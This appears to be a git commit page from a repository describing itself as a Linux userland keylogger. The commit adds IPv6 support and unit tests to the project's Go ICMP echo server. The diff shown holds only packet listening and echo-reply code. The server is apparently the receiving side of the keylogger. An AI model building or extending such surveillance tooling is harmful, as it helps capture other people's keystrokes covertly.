mazepa.git


mazepa

~ linux userland keylogger
git clone https://github.com/djnnvx/mazepa.git
log | files | refs | archive | README

commit a3b7040afcd7514de1af871aadad6c38c9f21e1d
parent d6b1a32e563bc2c0d07e38372a394bb90e27b442
Author: djnn <[email protected]>
Date: Sun, 11 Jan 2026 18:15:17 +0900

feat(server): adding support for IPv6

Diffstat:
Mmazepa-server/cli/parser.go | 2+-
Mmazepa-server/cli/types.go | 7+------
Mmazepa-server/icmp/pkg.go | 171+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++--------------------
Amazepa-server/icmp/pkg_test.go | 253+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

4 files changed, 383 insertions(+), 50 deletions(-)

diff --git a/mazepa-server/cli/parser.go b/mazepa-server/cli/parser.go
@@ -20,6 +20,6 @@ func GetParser(opts *MazepaOptions) *cobra.Command {
 	}
 
 	defaults := GetDefaultOptions()
-	rootCmd.Flags().StringVarP(&opts.IP, "ip", "i", defaults.IP, "Address to listen on (only IPv4 supported for now)")
+	rootCmd.Flags().StringVarP(&opts.IP, "ip", "i", defaults.IP, "Address to listen on (IPv4 or IPv6)")
 	return rootCmd
 }
diff --git a/mazepa-server/cli/types.go b/mazepa-server/cli/types.go
@@ -1,16 +1,11 @@
 package cli
 
 type MazepaOptions struct {
-
-	/// Address to listen on (only IPv4 supported for now)
 	IP string
 }
 
 func GetDefaultOptions() MazepaOptions {
-
-	opts := MazepaOptions{
+	return MazepaOptions{
 		IP: "127.0.0.1",
 	}
-
-	return opts
 }
diff --git a/mazepa-server/icmp/pkg.go b/mazepa-server/icmp/pkg.go
@@ -7,77 +7,162 @@ import (
 
 	"golang.org/x/net/icmp"
 	"golang.org/x/net/ipv4"
+	"golang.org/x/net/ipv6"
 )
 
-// The network must be "ip4:icmp" for IPv4 ICMP.
-const network = "ip4:icmp"
+const (
+	NetworkIPv4   = "ip4:icmp"
+	NetworkIPv6   = "ip6:ipv6-icmp"
+	ListenAddrV4  = "0.0.0.0"
+	ListenAddrV6  = "::"
+	ReadTimeout   = 5 * time.Second
+	MaxPacketSize = 1500
+)
+
+type Protocol int
+
+const (
+	ProtocolIPv4 Protocol = iota
+	ProtocolIPv6
+)
+
+func DetectProtocol(addr string) Protocol {
+	ip := net.ParseIP(addr)
+	if ip == nil {
+		return ProtocolIPv4
+	}
+	if ip.To4() != nil {
+		return ProtocolIPv4
+	}
+	return ProtocolIPv6
+}
+
+func getNetworkConfig(proto Protocol) (network, listenAddr string, icmpProto int) {
+	if proto == ProtocolIPv6 {
+		return NetworkIPv6, ListenAddrV6, ipv6.ICMPTypeEchoRequest.Protocol()
+	}
+	return NetworkIPv4, ListenAddrV4, ipv4.ICMPTypeEcho.Protocol()
+}
+
+func getEchoTypes(proto Protocol) (echoRequest, echoReply icmp.Type) {
+	if proto == ProtocolIPv6 {
+		return ipv6.ICMPTypeEchoRequest, ipv6.ICMPTypeEchoReply
+	}
+	return ipv4.ICMPTypeEcho, ipv4.ICMPTypeEchoReply
+}
+
+func createConnection(network, listenAddr string) (*icmp.PacketConn, error) {
+	conn, err := icmp.ListenPacket(network, listenAddr)
+	if err != nil {
+		return nil, err
+	}
+	return conn, nil
+}
+
+func setReadDeadline(conn *icmp.PacketConn) error {
+	return conn.SetReadDeadline(time.Now().Add(ReadTimeout))
+}
+
+func readPacket(conn *icmp.PacketConn, buffer []byte) (int, net.Addr, error) {
+	return conn.ReadFrom(buffer)
+}
+
+func isTimeout(err error) bool {
+	opErr, ok := err.(*net.OpError)
+	return ok && opErr.Timeout()
+}
+
+func parseICMPMessage(data []byte, proto int) (*icmp.Message, error) {
+	return icmp.ParseMessage(proto, data)
+}
+
+func createEchoReply(echoBody *icmp.Echo, replyType icmp.Type) *icmp.Message {
+	return &icmp.Message{
+		Type: replyType,
+		Code: 0,
+		Body: &icmp.Echo{
+			ID:   echoBody.ID,
+			Seq:  echoBody.Seq,
+			Data: echoBody.Data,
+		},
+	}
+}
+
+func sendReply(conn *icmp.PacketConn, msg *icmp.Message, peer net.Addr) error {
+	data, err := msg.Marshal(nil)
+	if err != nil {
+		return err
+	}
+	_, err = conn.WriteTo(data, peer)
+	return err
+}
+
+func handleEchoRequest(conn *icmp.PacketConn, msg *icmp.Message, peer net.Addr, replyType icmp.Type) {
+	echoBody := msg.Body.(*icmp.Echo)
+	log.Printf("Received Echo Request from %v: ID=%d, Seq=%d", peer, echoBody.ID, echoBody.Seq)
+
+	reply := createEchoReply(echoBody, replyType)
+	if err := sendReply(conn, reply, peer); err != nil {
+		log.Printf("Failed to send reply: %v", err)
+		return
+	}
+	log.Printf("Sent Echo Reply to %v", peer)
+}
+
+func handleEchoReply(peer net.Addr) {
+	log.Printf("Received Echo Reply from %v", peer)
+}
+
+func handleUnknownType(msgType icmp.Type, peer net.Addr) {
+	log.Printf("Received unhandled ICMP message type %v from %v", msgType, peer)
+}
+
+func processMessage(conn *icmp.PacketConn, msg *icmp.Message, peer net.Addr, echoRequest, echoReply icmp.Type) {
+	switch msg.Type {
+	case echoRequest:
+		handleEchoRequest(conn, msg, peer, echoReply)
+	case echoReply:
+		handleEchoReply(peer)
+	default:
+		handleUnknownType(msg.Type, peer)
+	}
+}
 
 func ListenAndPrint(addr string) {
+	proto := DetectProtocol(addr)
+	network, listenAddr, icmpProto := getNetworkConfig(proto)
+	echoRequest, echoReply := getEchoTypes(proto)
 
-	conn, err := icmp.ListenPacket(network, "0.0.0.0")
+	conn, err := createConnection(network, listenAddr)
 	if err != nil {
 		log.Fatalf("ListenPacket failed: %v\nRun with sudo or elevated permissions.", err)
 	}
 	defer conn.Close()
 
 	log.Printf("Listening for ICMP packets on %s...", conn.LocalAddr().String())
-	rb := make([]byte, 1500)
+	buffer := make([]byte, MaxPacketSize)
 
 	for {
-		/* Set a read deadline to prevent the program from blocking indefinitely */
-		err := conn.SetReadDeadline(time.Now().Add(time.Second * 5))
-		if err != nil {
+		if err := setReadDeadline(conn); err != nil {
 			log.Printf("Error setting read deadline: %v", err)
 			continue
 		}
 
-		n, peer, err := conn.ReadFrom(rb)
+		n, peer, err := readPacket(conn, buffer)
 		if err != nil {
-			if opErr, ok := err.(*net.OpError); ok && opErr.Timeout() {
+			if isTimeout(err) {
 				continue
 			}
 			log.Printf("ReadFrom failed: %v", err)
 			continue
 		}
 
-		rm, err := icmp.ParseMessage(ipv4.ICMPTypeEcho.Protocol(), rb[:n])
+		msg, err := parseICMPMessage(buffer[:n], icmpProto)
 		if err != nil {
 			log.Printf("ParseMessage failed: %v", err)
 			continue
 		}
 
-		switch rm.Type {
-		case ipv4.ICMPTypeEcho:
-			echoBody := rm.Body.(*icmp.Echo)
-			log.Printf("Received Echo Request from %v: ID=%d, Seq=%d",
-				peer, echoBody.ID, echoBody.Seq)
-
-			wm := icmp.Message{
-				Type: ipv4.ICMPTypeEchoReply, // Change type to Reply
-				Code: 0,
-				Body: &icmp.Echo{
-					ID:   echoBody.ID,
-					Seq:  echoBody.Seq,
-					Data: echoBody.Data,
-				},
-			}
-
-			wb, err := wm.Marshal(nil)
-			if err != nil {
-				log.Printf("Marshal failed: %v", err)
-				continue
-			}
-
-			if _, err := conn.WriteTo(wb, peer); err != nil {
-				log.Printf("WriteTo failed: %v", err)
-			}
-			log.Printf("Sent Echo Reply to %v", peer)
-
-		case ipv4.ICMPTypeEchoReply:
-			log.Printf("Received Echo Reply from %v", peer)
-
-		default:
-			log.Printf("Received unhandled ICMP message type %v from %v", rm.Type, peer)
-		}
+		processMessage(conn, msg, peer, echoRequest, echoReply)
 	}
 }
diff --git a/mazepa-server/icmp/pkg_test.go b/mazepa-server/icmp/pkg_test.go
@@ -0,0 +1,253 @@
+package icmp
+
+import (
+	"net"
+	"testing"
+
+	"golang.org/x/net/icmp"
+	"golang.org/x/net/ipv4"
+	"golang.org/x/net/ipv6"
+)
+
+func TestDetectProtocol(t *testing.T) {
+	tests := []struct {
+		name     string
+		addr     string
+		expected Protocol
+	}{
+		{"IPv4 localhost", "127.0.0.1", ProtocolIPv4},
+		{"IPv4 any", "0.0.0.0", ProtocolIPv4},
+		{"IPv4 public", "8.8.8.8", ProtocolIPv4},
+		{"IPv6 localhost", "::1", ProtocolIPv6},
+		{"IPv6 any", "::", ProtocolIPv6},
+		{"IPv6 full", "2001:4860:4860::8888", ProtocolIPv6},
+		{"IPv6 compressed", "fe80::1", ProtocolIPv6},
+		{"invalid address", "invalid", ProtocolIPv4},
+		{"empty string", "", ProtocolIPv4},
+	}
+
+	for _, tt := range tests {
+		t.Run(tt.name, func(t *testing.T) {
+			result := DetectProtocol(tt.addr)
+			if result != tt.expected {
+				t.Errorf("DetectProtocol(%q) = %v, want %v", tt.addr, result, tt.expected)
+			}
+		})
+	}
+}
+
+func TestGetNetworkConfig(t *testing.T) {
+	tests := []struct {
+		name           string
+		proto          Protocol
+		wantNetwork    string
+		wantListenAddr string
+		wantICMPProto  int
+	}{
+		{
+			"IPv4",
+			ProtocolIPv4,
+			NetworkIPv4,
+			ListenAddrV4,
+			ipv4.ICMPTypeEcho.Protocol(),
+		},
+		{
+			"IPv6",
+			ProtocolIPv6,
+			NetworkIPv6,
+			ListenAddrV6,
+			ipv6.ICMPTypeEchoRequest.Protocol(),
+		},
+	}
+
+	for _, tt := range tests {
+		t.Run(tt.name, func(t *testing.T) {
+			network, listenAddr, icmpProto := getNetworkConfig(tt.proto)
+			if network != tt.wantNetwork {
+				t.Errorf("network = %q, want %q", network, tt.wantNetwork)
+			}
+			if listenAddr != tt.wantListenAddr {
+				t.Errorf("listenAddr = %q, want %q", listenAddr, tt.wantListenAddr)
+			}
+			if icmpProto != tt.wantICMPProto {
+				t.Errorf("icmpProto = %d, want %d", icmpProto, tt.wantICMPProto)
+			}
+		})
+	}
+}
+
+func TestGetEchoTypes(t *testing.T) {
+	tests := []struct {
+		name            string
+		proto           Protocol
+		wantEchoRequest icmp.Type
+		wantEchoReply   icmp.Type
+	}{
+		{
+			"IPv4",
+			ProtocolIPv4,
+			ipv4.ICMPTypeEcho,
+			ipv4.ICMPTypeEchoReply,
+		},
+		{
+			"IPv6",
+			ProtocolIPv6,
+			ipv6.ICMPTypeEchoRequest,
+			ipv6.ICMPTypeEchoReply,
+		},
+	}
+
+	for _, tt := range tests {
+		t.Run(tt.name, func(t *testing.T) {
+			echoRequest, echoReply := getEchoTypes(tt.proto)
+			if echoRequest != tt.wantEchoRequest {
+				t.Errorf("echoRequest = %v, want %v", echoRequest, tt.wantEchoRequest)
+			}
+			if echoReply != tt.wantEchoReply {
+				t.Errorf("echoReply = %v, want %v", echoReply, tt.wantEchoReply)
+			}
+		})
+	}
+}
+
+func TestIsTimeout(t *testing.T) {
+	tests := []struct {
+		name     string
+		err      error
+		expected bool
+	}{
+		{
+			"timeout error",
+			&net.OpError{Op: "read", Err: &timeoutError{}},
+			true,
+		},
+		{
+			"non-timeout OpError",
+			&net.OpError{Op: "read", Err: &nonTimeoutError{}},
+			false,
+		},
+		{
+			"regular error",
+			net.ErrClosed,
+			false,
+		},
+		{
+			"nil error",
+			nil,
+			false,
+		},
+	}
+
+	for _, tt := range tests {
+		t.Run(tt.name, func(t *testing.T) {
+			result := isTimeout(tt.err)
+			if result != tt.expected {
+				t.Errorf("isTimeout() = %v, want %v", result, tt.expected)
+			}
+		})
+	}
+}
+
+type timeoutError struct{}
+
+func (e *timeoutError) Error() string   { return "timeout" }
+func (e *timeoutError) Timeout() bool   { return true }
+func (e *timeoutError) Temporary() bool { return true }
+
+type nonTimeoutError struct{}
+
+func (e *nonTimeoutError) Error() string   { return "not timeout" }
+func (e *nonTimeoutError) Timeout() bool   { return false }
+func (e *nonTimeoutError) Temporary() bool { return false }
+
+func TestCreateEchoReply(t *testing.T) {
+	echoBody := &icmp.Echo{
+		ID:   1234,
+		Seq:  5678,
+		Data: []byte("test data"),
+	}
+
+	tests := []struct {
+		name      string
+		replyType icmp.Type
+	}{
+		{"IPv4 reply", ipv4.ICMPTypeEchoReply},
+		{"IPv6 reply", ipv6.ICMPTypeEchoReply},
+	}
+
+	for _, tt := range tests {
+		t.Run(tt.name, func(t *testing.T) {
+			reply := createEchoReply(echoBody, tt.replyType)
+
+			if reply.Type != tt.replyType {
+				t.Errorf("Type = %v, want %v", reply.Type, tt.replyType)
+			}
+			if reply.Code != 0 {
+				t.Errorf("Code = %d, want 0", reply.Code)
+			}
+
+			replyBody := reply.Body.(*icmp.Echo)
+			if replyBody.ID != echoBody.ID {
+				t.Errorf("ID = %d, want %d", replyBody.ID, echoBody.ID)
+			}
+			if replyBody.Seq != echoBody.Seq {
+				t.Errorf("Seq = %d, want %d", replyBody.Seq, echoBody.Seq)
+			}
+			if string(replyBody.Data) != string(echoBody.Data) {
+				t.Errorf("Data = %q, want %q", replyBody.Data, echoBody.Data)
+			}
+		})
+	}
+}
+
+func TestParseICMPMessage(t *testing.T) {
+	echoMsg := icmp.Message{
+		Type: ipv4.ICMPTypeEcho,
+		Code: 0,
+		Body: &icmp.Echo{
+			ID:   100,
+			Seq:  1,
+			Data: []byte("hello"),
+		},
+	}
+
+	data, err := echoMsg.Marshal(nil)
+	if err != nil {
+		t.Fatalf("Failed to marshal test message: %v", err)
+	}
+
+	parsed, err := parseICMPMessage(data, ipv4.ICMPTypeEcho.Protocol())
+	if err != nil {
+		t.Fatalf("parseICMPMessage failed: %v", err)
+	}
+
+	if parsed.Type != ipv4.ICMPTypeEcho {
+		t.Errorf("Type = %v, want %v", parsed.Type, ipv4.ICMPTypeEcho)
+	}
+
+	parsedBody := parsed.Body.(*icmp.Echo)
+	if parsedBody.ID != 100 {
+		t.Errorf("ID = %d, want 100", parsedBody.ID)
+	}
+	if parsedBody.Seq != 1 {
+		t.Errorf("Seq = %d, want 1", parsedBody.Seq)
+	}
+}
+
+func TestConstants(t *testing.T) {
+	if NetworkIPv4 != "ip4:icmp" {
+		t.Errorf("NetworkIPv4 = %q, want %q", NetworkIPv4, "ip4:icmp")
+	}
+	if NetworkIPv6 != "ip6:ipv6-icmp" {
+		t.Errorf("NetworkIPv6 = %q, want %q", NetworkIPv6, "ip6:ipv6-icmp")
+	}
+	if ListenAddrV4 != "0.0.0.0" {
+		t.Errorf("ListenAddrV4 = %q, want %q", ListenAddrV4, "0.0.0.0")
+	}
+	if ListenAddrV6 != "::" {
+		t.Errorf("ListenAddrV6 = %q, want %q", ListenAddrV6, "::")
+	}
+	if MaxPacketSize != 1500 {
+		t.Errorf("MaxPacketSize = %d, want 1500", MaxPacketSize)
+	}
+}